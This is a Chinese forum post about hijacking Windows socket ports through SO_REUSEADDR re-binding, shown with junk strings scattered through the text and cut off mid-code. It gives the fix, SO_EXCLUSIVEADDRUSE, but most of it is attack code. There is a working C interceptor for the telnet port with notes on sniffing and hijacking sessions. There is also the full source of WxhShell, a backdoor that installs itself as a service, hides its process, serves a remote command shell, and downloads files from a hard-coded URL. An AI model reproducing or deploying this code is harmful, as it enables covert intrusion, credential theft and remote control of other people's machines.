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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )DQcf]I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y?*Y=,"  
'2p,0Bk9i  
  saddr.sin_family = AF_INET; p{0rHu[  
"GxQ9=Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N40DL_-  
6D4u?P,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `Z@qWB<  
?O#"x{Pk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Jd|E 4h~(  
<5|:QLqy  
  这意味着什么?意味着可以进行如下的攻击: '_n$xfH  
0e'@Xo2e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k <LFH(  
7X/B9Hee  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x)kp*^/  
Z7MGBwP(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sdQ "[`~2R  
*APTgXYR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -0*z"a9<p8  
DL '{ rK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^7`gf  
vri<R8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .Jc<Gg  
)c0Dofhg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 phcYQqR  
:RXzqC  
  #include ?[X^'zz}  
  #include 9iK%@k  
  #include 5.U|CL  
  #include    2B=BRVtSs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QyEoWKu;  
  int main() n 8)eC2 A  
  { +39p5O!  
  WORD wVersionRequested; Y)C!N$=@Q  
  DWORD ret; l.SoiFDd  
  WSADATA wsaData; F^wm&:%{`  
  BOOL val; D'_ w *  
  SOCKADDR_IN saddr; R6irL!akAd  
  SOCKADDR_IN scaddr; HAcC& s8  
  int err; _GL:4  
  SOCKET s; `Y<FR  
  SOCKET sc; mx0EEU*  
  int caddsize; >Cglhsb:N  
  HANDLE mt; Fau24-g  
  DWORD tid;   @aWd0e]  
  wVersionRequested = MAKEWORD( 2, 2 ); 8SO(pw9  
  err = WSAStartup( wVersionRequested, &wsaData ); ",45p@  
  if ( err != 0 ) { vSJ# }&  
  printf("error!WSAStartup failed!\n"); /V>yF&p  
  return -1; `+T"^{ Z  
  } 6PRP&|.#  
  saddr.sin_family = AF_INET; AUm5$;o,/  
   &>Nw>V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |#O>DdKHT  
Uj)`(}r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zhC5%R &n/  
  saddr.sin_port = htons(23); K!|J/W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =D^R,Q  
  { _VLA2#V>   
  printf("error!socket failed!\n"); !='L`.  
  return -1; ^" UZ.@sq'  
  } k4~2hD<|  
  val = TRUE; 2?(dS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z~RE}k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nb/Z+  
  { ~d=Y98'xS  
  printf("error!setsockopt failed!\n"); ~|8-Mo1ce  
  return -1; 2fMKS  
  } sK|+&BC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t`"pn <  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I73=PfS:m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t|}}#Z!I[f  
,-5|qko=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !s[[X5  
  { 8/ PS#dM\  
  ret=GetLastError(); JR4fJG  
  printf("error!bind failed!\n"); :z%q09.)  
  return -1; 9 EV.![  
  } )8JM.:,  
  listen(s,2); mW 'sdb  
  while(1) '0jn|9l58  
  { /NFm6AA]  
  caddsize = sizeof(scaddr); !,JV<( 7k  
  //接受连接请求 Xny{8Oo<1?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '>#8 F.  
  if(sc!=INVALID_SOCKET) ,^&amWey  
  { c#`&uLp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ")eY{C  
  if(mt==NULL) eDS,}Z'  
  { Z3z"c B  
  printf("Thread Creat Failed!\n"); [ih^VlZ  
  break; 5/m}v'S%  
  } $VUX?ii$7=  
  } RfzYoBN  
  CloseHandle(mt); 9%^O-8!  
  } AkVgFQg" n  
  closesocket(s); \vqqs  
  WSACleanup(); k[5:]5lp+  
  return 0; v1\/dQK  
  }   C?t!Uvs  
  DWORD WINAPI ClientThread(LPVOID lpParam) Apc!!*7  
  { . MH;u3U  
  SOCKET ss = (SOCKET)lpParam; 2 UPG8]  
  SOCKET sc; \MB$Cwc  
  unsigned char buf[4096]; +W}6o3x~  
  SOCKADDR_IN saddr; V5bB$tL}3  
  long num; LHd9q ^D  
  DWORD val; *w[0uQL5Z  
  DWORD ret; NbUbLzE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M.fA5rJ^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "{M?,jP#  
  saddr.sin_family = AF_INET; $9?<mP2-*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hf< [$B  
  saddr.sin_port = htons(23); @5*$yi 'Cp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @k||gQqIB  
  { -s9()K(vZG  
  printf("error!socket failed!\n"); Nd%j0lj  
  return -1; j},3@TFh  
  } t-)d*|2n}o  
  val = 100; ygYy [IZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J)P7QTC  
  { X v$"B-j  
  ret = GetLastError(); cng166}1A  
  return -1; ZFRKzPc {V  
  } 80 ckh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oz Axnd\.N  
  { J1@skj4#\~  
  ret = GetLastError(); !:M+7kmr7t  
  return -1; KLgg([  
  } yVgHu#?PM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (W+aeB0  
  { |Ju d*z  
  printf("error!socket connect failed!\n"); lYhC2f m_  
  closesocket(sc); C!W0L`r  
  closesocket(ss); > - U+o.o  
  return -1; {fS~G2@1  
  } |X;|=.  
  while(1) y'm5Z-@o6  
  { 0?O$->t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b!`{fwV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qpV"ii  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /n1L},67h  
  num = recv(ss,buf,4096,0); Q+ZZwqyxD  
  if(num>0) QVo>Uit   
  send(sc,buf,num,0); 3a}53? $  
  else if(num==0) x%T.0@!8  
  break; 8~ u/gM  
  num = recv(sc,buf,4096,0); Q2<v: *L  
  if(num>0) %#C9E kr  
  send(ss,buf,num,0); 2BV]@]qB  
  else if(num==0) ry0YS\W  
  break; jGe%'A N\  
  } ]D[\l$(  
  closesocket(ss); [G' +s  
  closesocket(sc); j%=X ps  
  return 0 ; $+$4W\-=X  
  } vL8Rg} Jh4  
zJo?,c  
F(|XJN  
========================================================== XvVi)`8!u  
63/a 0Yn  
下边附上一个代码,,WXhSHELL D.gD4g_O/  
!wTrWD!  
========================================================== zZ;V9KM>v  
2@Oz_?O=  
#include "stdafx.h" J;'H],w}f  
]EdZ,`B4  
#include <stdio.h> B_ bZa  
#include <string.h> Sg*+!  
#include <windows.h>  C=qL0  
#include <winsock2.h> ch33+~Nn  
#include <winsvc.h> a9NIK/9  
#include <urlmon.h> "EwzuM8 f  
f4$sH/ 2#v  
#pragma comment (lib, "Ws2_32.lib") R5&<\RI0  
#pragma comment (lib, "urlmon.lib") 934@Z(aUH  
Hb0_QT~  
#define MAX_USER   100 // 最大客户端连接数 EVP{7}K1  
#define BUF_SOCK   200 // sock buffer "r1 !hfIYf  
#define KEY_BUFF   255 // 输入 buffer q7<=1r+  
JJ9R, 8n6  
#define REBOOT     0   // 重启 VxtX%McK  
#define SHUTDOWN   1   // 关机 D>0(*O  
TG% w  
#define DEF_PORT   5000 // 监听端口 9 !$&1|,*  
~BMUea(  
#define REG_LEN     16   // 注册表键长度 8.Ufw. 5  
#define SVC_LEN     80   // NT服务名长度 3!{Tw6A8(  
X 8):R- J  
// 从dll定义API &OA6Zw/A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nw(R=C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vo(:g6$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *HB 32 =qD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gegM&Xo  
GL~ Wnt  
// wxhshell配置信息 -fp/3-  
struct WSCFG { o`G6!  
  int ws_port;         // 监听端口 .5);W;`X  
  char ws_passstr[REG_LEN]; // 口令 q;*'V9#  
  int ws_autoins;       // 安装标记, 1=yes 0=no ESUO I  
  char ws_regname[REG_LEN]; // 注册表键名 (4?^X  
  char ws_svcname[REG_LEN]; // 服务名 =cO5Nt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?d+ri  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [5tvdW6Z &  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hV:++g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "!CVm{7[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K+"3He  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HJBGxy w  
N3N~z1x0h  
}; xojt s;n   
Mdq|: ^px  
// default Wxhshell configuration Kwi+}B!  
struct WSCFG wscfg={DEF_PORT, UA4c4~$S  
    "xuhuanlingzhe", (V1;`sI8  
    1, w 62m}5eA  
    "Wxhshell", aRElk&M  
    "Wxhshell", 8!YQ9T[  
            "WxhShell Service", 'n=bQ"bQu  
    "Wrsky Windows CmdShell Service", G|RBwl  
    "Please Input Your Password: ", =CO) Q2  
  1, #RbdQH !  
  "http://www.wrsky.com/wxhshell.exe", mG$N%`aG  
  "Wxhshell.exe" l(Dr@LB~  
    }; :!hO9ho  
g rCQ#3K*?  
// 消息定义模块 p3Ozfk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -<9Qez)y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {~w(pAx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $2+s3)  
char *msg_ws_ext="\n\rExit."; fDqDU  
char *msg_ws_end="\n\rQuit."; ?|WoNA~j}`  
char *msg_ws_boot="\n\rReboot..."; 3Gr"YG{,  
char *msg_ws_poff="\n\rShutdown..."; P j,H]  
char *msg_ws_down="\n\rSave to "; 8:)[.  
Hpa6; eT  
char *msg_ws_err="\n\rErr!"; w,up`W7,  
char *msg_ws_ok="\n\rOK!"; H\H7a.@nkF  
bRrS d:e  
char ExeFile[MAX_PATH]; Uk*(C(  
int nUser = 0; v_Df+  
HANDLE handles[MAX_USER]; }V*?~.R  
int OsIsNt; `Tf}h8*  
'CSjj@3X  
SERVICE_STATUS       serviceStatus; V)`A,7X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P{ 9wJ<  
,i|K} Y&  
// 函数声明 ^/$dSXKF  
int Install(void); Y652&{>q  
int Uninstall(void); vq.o;q /  
int DownloadFile(char *sURL, SOCKET wsh); KC"&3  
int Boot(int flag); cJbv,RV<  
void HideProc(void); tQRbNY#}Z  
int GetOsVer(void); <Np Mv!g  
int Wxhshell(SOCKET wsl); ij#v_~g3  
void TalkWithClient(void *cs); vH-|#x~  
int CmdShell(SOCKET sock); * xmC`oP  
int StartFromService(void); po\jhfn  
int StartWxhshell(LPSTR lpCmdLine); 1L+hI=\O  
w\ 0vP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +H?g9v40  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H C,5j)1  
1h(IrV5g  
// 数据结构和表定义 4n@>gW  
SERVICE_TABLE_ENTRY DispatchTable[] = uD?RL~M  
{ )P?Fni}  
{wscfg.ws_svcname, NTServiceMain}, QV.>Cy  
{NULL, NULL} %rJDpB{  
}; <bo^uw  
A,tg268  
// 自我安装 J[r_ag  
int Install(void) 4H;7GNu  
{ GD)paTwO<  
  char svExeFile[MAX_PATH]; ,YjjL  
  HKEY key; $] xH"Z%"  
  strcpy(svExeFile,ExeFile); `xHpL8i$5  
EC0B6!C&7  
// 如果是win9x系统,修改注册表设为自启动 s8[(   
if(!OsIsNt) { jA;b2A]G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ezbk@no  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^|6#Vx  
  RegCloseKey(key); YpXd5;'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fa,:d8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,jeHL@>w[  
  RegCloseKey(key); SP<Sv8Okj  
  return 0; \m}a%/  
    } <}A6 )=T  
  } \)wVO*9*0  
} v;5-1  
else { J k`Jv;  
kjp~:Bg_(  
// 如果是NT以上系统,安装为系统服务 F):kF_ho  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @BjB Mi,  
if (schSCManager!=0) WRkuPj2  
{ W( sit;O  
  SC_HANDLE schService = CreateService BeQ'\#q,  
  ( Ix,b-C~  
  schSCManager, $*$4DG1gaR  
  wscfg.ws_svcname, "%+||IyW  
  wscfg.ws_svcdisp, VyN F)$'T  
  SERVICE_ALL_ACCESS, }Hg\ tj}i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ye4 &4t  
  SERVICE_AUTO_START, tDah@_  
  SERVICE_ERROR_NORMAL, UMBeY[ ?  
  svExeFile, xi.?@Lff  
  NULL, x=a#|]ngG  
  NULL, y7CXE6Y  
  NULL, K$D+TI)  
  NULL, >T*BEikC  
  NULL ROfV Y:,M  
  ); j DEym&-  
  if (schService!=0) ZL0k  
  { EXjR&"R  
  CloseServiceHandle(schService); 5wh(Qdib  
  CloseServiceHandle(schSCManager); "N_@q2zF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /O$~)2^h  
  strcat(svExeFile,wscfg.ws_svcname); Q.7X3A8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ) ?kbHm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mZ? jpnd  
  RegCloseKey(key); ]AM*9!  
  return 0; ws,?ImA  
    } i( +Uvtgs  
  } H|aC(c  
  CloseServiceHandle(schSCManager); (zy|>u  
} G7,v:dlK   
} 7b-[# g  
YqXN|&  
return 1; }j1;0kb?  
} 4IB`7QJq  
9 ;vES^  
// 自我卸载 i$3#/*Y7_L  
int Uninstall(void) jqj}j2 9  
{ 8KigGhY'ms  
  HKEY key; +/%4E %  
G.iQ\'1_h  
if(!OsIsNt) { MFO%F) 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;,TT!vea  
  RegDeleteValue(key,wscfg.ws_regname); ]Hi1^Y<  
  RegCloseKey(key); NcwUK\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U v>^ Z2  
  RegDeleteValue(key,wscfg.ws_regname); ! @Vj&>mH$  
  RegCloseKey(key); w^HI lA  
  return 0; `WC4:8  
  } bT9:9LP  
} S\sy^Kt~4:  
} y|*4XF<b  
else { ho~WD'i  
L{&1w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K)`R?CZ:s  
if (schSCManager!=0) =? q&/ cru  
{ I|Hcs.uW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d/3&3>/  
  if (schService!=0) wod{C!  
  { ~ W8 M3(^  
  if(DeleteService(schService)!=0) { r z@%rOWV  
  CloseServiceHandle(schService); v [x 5@$  
  CloseServiceHandle(schSCManager); Qd% (]L[N.  
  return 0; cw~GH  
  } RN1KM  
  CloseServiceHandle(schService); hhylsm  
  } #\Q)7pgi.  
  CloseServiceHandle(schSCManager); W0U|XX!&  
} F/A)2 H_  
} P??pWzb6HH  
?H!&4o  
return 1; n Zx^ej\  
} T?u*ey~Tv  
/Z#AHfKF  
// 从指定url下载文件 {BAZ`I  
int DownloadFile(char *sURL, SOCKET wsh) O f-gG~  
{ 7|"G 3ck  
  HRESULT hr; aa!1w93?i  
char seps[]= "/"; b^8"EBo  
char *token; _Bn8i(  
char *file; YWi Y[  
char myURL[MAX_PATH]; CSm(yB{|pC  
char myFILE[MAX_PATH]; \4 t;{_  
JL:B4 f%}B  
strcpy(myURL,sURL); yFFNzw{  
  token=strtok(myURL,seps); x5U;i  
  while(token!=NULL) ,(c'h:@M  
  { #&{)`+!"  
    file=token; u6\W"LW  
  token=strtok(NULL,seps); \vj xCkg{  
  } s\3ZE11L  
P8CIKoKCV  
GetCurrentDirectory(MAX_PATH,myFILE); hE2{m{^A  
strcat(myFILE, "\\"); =*y{y)B^g  
strcat(myFILE, file); !a5e{QG0  
  send(wsh,myFILE,strlen(myFILE),0); 9@Z++J.^y  
send(wsh,"...",3,0); i~HS"n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mUb2U&6(  
  if(hr==S_OK) [vdC$9z,  
return 0; =E~SaT  
else D{[i_K  
return 1; Pc~)4>X<  
;]/cCi  
} ZhoB/TgdL  
wYHyVY2tj2  
// 系统电源模块 )GC[xo4bg  
int Boot(int flag) tjm@+xs  
{ FW<YN;  
  HANDLE hToken; Gh'{O/F4*  
  TOKEN_PRIVILEGES tkp; :J5CmU $  
uk.x1*0x  
  if(OsIsNt) { *;.:UR[i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H{d/%}7[v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U.W Mu%  
    tkp.PrivilegeCount = 1; k}{K7,DM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n^epC>a"b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (G"/C7q  
if(flag==REBOOT) { [vCZD8"Y8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U:IeMf-;  
  return 0; I)G.tJZ e  
} 3_ =:^Z  
else { +n8,=}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O}Do4>02  
  return 0; KR4RIJZ_t  
} yLt?XhRlp  
  } ]b&qC (  
  else { E|B1h!!\c  
if(flag==REBOOT) { 'BEM:1)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YjG:ECj}  
  return 0; T=cb:PD{%  
} :OY7y`hRG  
else { Dw2$#d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FCYZ9L5uF  
  return 0; gJ Z9XLPC  
} l)1ySX&BU  
} Nx(y_.I{K  
f^XfIH_#  
return 1; =Sn!'@%U]  
} F8Z6Ss|v3  
h"Q&E'0d  
// win9x进程隐藏模块 S#7.y~e\  
void HideProc(void) SRk-3:  
{ X_I.f6v{  
akA C^:F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *:,7 A9LY  
  if ( hKernel != NULL ) s|8_R;  
  { x"PMi[4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &nF7CCF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C  F<  
    FreeLibrary(hKernel); d4-cZw}+  
  } .aR$ou,7  
/E6 Tt  
return; "{(4  
} JE+{Vx}  
RD p(Ci  
// 获取操作系统版本 4,R1}.?BzJ  
int GetOsVer(void) 7Y'.yn  
{ 6~Xe$fP(  
  OSVERSIONINFO winfo; (z<& PP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #bLeK$  
  GetVersionEx(&winfo); ma26|N5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~x}=lKN  
  return 1; .:s**UiDR  
  else X*C4N F0  
  return 0; Fop "m/  
} uBC*7Mkm  
%S4pkFR  
// 客户端句柄模块 -T-h~5   
int Wxhshell(SOCKET wsl) PfVjfrI[  
{ D(<20b,  
  SOCKET wsh; +Gvf5+ 5VR  
  struct sockaddr_in client; Z$5@r2d)  
  DWORD myID; r&ex<(I{  
"%Eyb\V!  
  while(nUser<MAX_USER) v0}.!u>Ww  
{ r@(hRl1k'  
  int nSize=sizeof(client); 8>K2[cPD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f8 M=P.jz  
  if(wsh==INVALID_SOCKET) return 1; l*yJU3PW  
s?*MZC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A5gdZZ'x  
if(handles[nUser]==0) C"ZCX6p+$  
  closesocket(wsh); eq\{*r"DCK  
else O-vvFl#4  
  nUser++; p,9eZUGy  
  }  G l*C"V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "I]% aK0  
TNV#   
  return 0; Si]8*>}-B  
} 5fBW#6N/  
hU `H\LE  
// 关闭 socket cS ;hyLd  
void CloseIt(SOCKET wsh) 2$? )VXtw  
{ =lG5Kc{B  
closesocket(wsh); 8f|  
nUser--; 0Q5ua `U  
ExitThread(0); pOip$Z  
} [0} ^w[  
,saf"Ed=  
// 客户端请求句柄 D|n`9yv a  
void TalkWithClient(void *cs) C@L:m1fz  
{ ?H3xE=<X  
 _D(F[p|  
  SOCKET wsh=(SOCKET)cs; iffRGnN^e  
  char pwd[SVC_LEN]; )vk$]<$  
  char cmd[KEY_BUFF]; t <#Yr%a  
char chr[1]; 8<uKzb(O:  
int i,j; xFS`#1  
-U=bC   
  while (nUser < MAX_USER) { mOyBSOad4  
R28h%KN  
if(wscfg.ws_passstr) { QSy=JC9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /cDla5eej  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` oYrW0Vm  
  //ZeroMemory(pwd,KEY_BUFF); ' 7>V4\"  
      i=0; P{)eZINlE  
  while(i<SVC_LEN) { *Oo2rk nQ  
C=AX{sn  
  // 设置超时 y)!K@  
  fd_set FdRead; nlK"2/W  
  struct timeval TimeOut; -`B|$ W  
  FD_ZERO(&FdRead); O- &>Dc  
  FD_SET(wsh,&FdRead); pXCmyLQ  
  TimeOut.tv_sec=8; 8fJ- XFK$:  
  TimeOut.tv_usec=0; 0*8[m+j1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y:Qo:Z~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (3"V5r`*;  
Ut8yA"Y~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?E2/ CM  
  pwd=chr[0]; '8wA+N6Zr7  
  if(chr[0]==0xd || chr[0]==0xa) { m ^Btr  
  pwd=0; UMw1&"0:  
  break; ? S>"yAoe  
  } %Sfew/"R0  
  i++; hHdH#-O:4"  
    } h4S,(*V$!  
(J~n|hA2/D  
  // 如果是非法用户,关闭 socket 6`{Y#2T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q?{wRBVVB  
} 0\Qqv7>  
hn-9l1~!h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TgVvp0F;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m Fwx},dl  
*9((b;Ju  
while(1) { Yyby 1  
W[: n*h  
  ZeroMemory(cmd,KEY_BUFF); 7\K=8G  
3j(GcR 9  
      // 自动支持客户端 telnet标准   z6b!,lp  
  j=0; <`b)56v:+  
  while(j<KEY_BUFF) { U*=ebZno  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9=~"^dp54%  
  cmd[j]=chr[0]; Y_)!U`>N?  
  if(chr[0]==0xa || chr[0]==0xd) { c:4M|t=  
  cmd[j]=0; *K'(t  
  break; `$7j:<c=  
  } x\GCsVy  
  j++; f 6Bx>lh  
    } TB4|dj-%  
`TOm.YZG  
  // 下载文件 @%fNB,H`  
  if(strstr(cmd,"http://")) { Y dmYE $  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &mKtW$K` q  
  if(DownloadFile(cmd,wsh)) EV z>#GC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Qfj=; 4  
  else 4WZ:zr N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); me#VCkr#  
  } KZ pqbI Z  
  else { Uoh!1_oV  
kb ]PW Oz  
    switch(cmd[0]) { Y'`w.+9  
  CYmwT>P+*4  
  // 帮助 {xp/1? Mo*  
  case '?': { &%}6&PW i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iZB?5|*  
    break; ogH{   
  } *f=H#  
  // 安装 1j "/}0fx  
  case 'i': { I1S*=^Z_U  
    if(Install()) mTT1,|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\XnTL{  
    else /Zap'S/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9H$#c_zrq  
    break; X<m#:0iD  
    } [*Nuw_l  
  // 卸载 VChNDHiH  
  case 'r': { +;tXk  
    if(Uninstall()) U@!e&QPn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (4L XoNT  
    else F??})YX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o nt8q8  
    break; <<W{nSm#  
    } D$d8u=S  
  // 显示 wxhshell 所在路径 +6-c<m|  
  case 'p': { nxkbI:+t  
    char svExeFile[MAX_PATH]; H[UV]qO,  
    strcpy(svExeFile,"\n\r"); -uXf?sTV  
      strcat(svExeFile,ExeFile); D.9qxM"Z>  
        send(wsh,svExeFile,strlen(svExeFile),0); W~z 2Q so  
    break; j BS$xW  
    } Stq&^S\x69  
  // 重启 t23uQR#>b_  
  case 'b': { D |kdk;Xv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oW3j|V  
    if(Boot(REBOOT)) z^j7wMQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8Cw_  
    else { ;fw}<M!6  
    closesocket(wsh); 8i/5L=a"`  
    ExitThread(0); '/%]B@!  
    } zgXg-cr  
    break; 4t]ccqX*{  
    } 'hN_H}U  
  // 关机 mN?y\GB  
  case 'd': { N"1o> !  
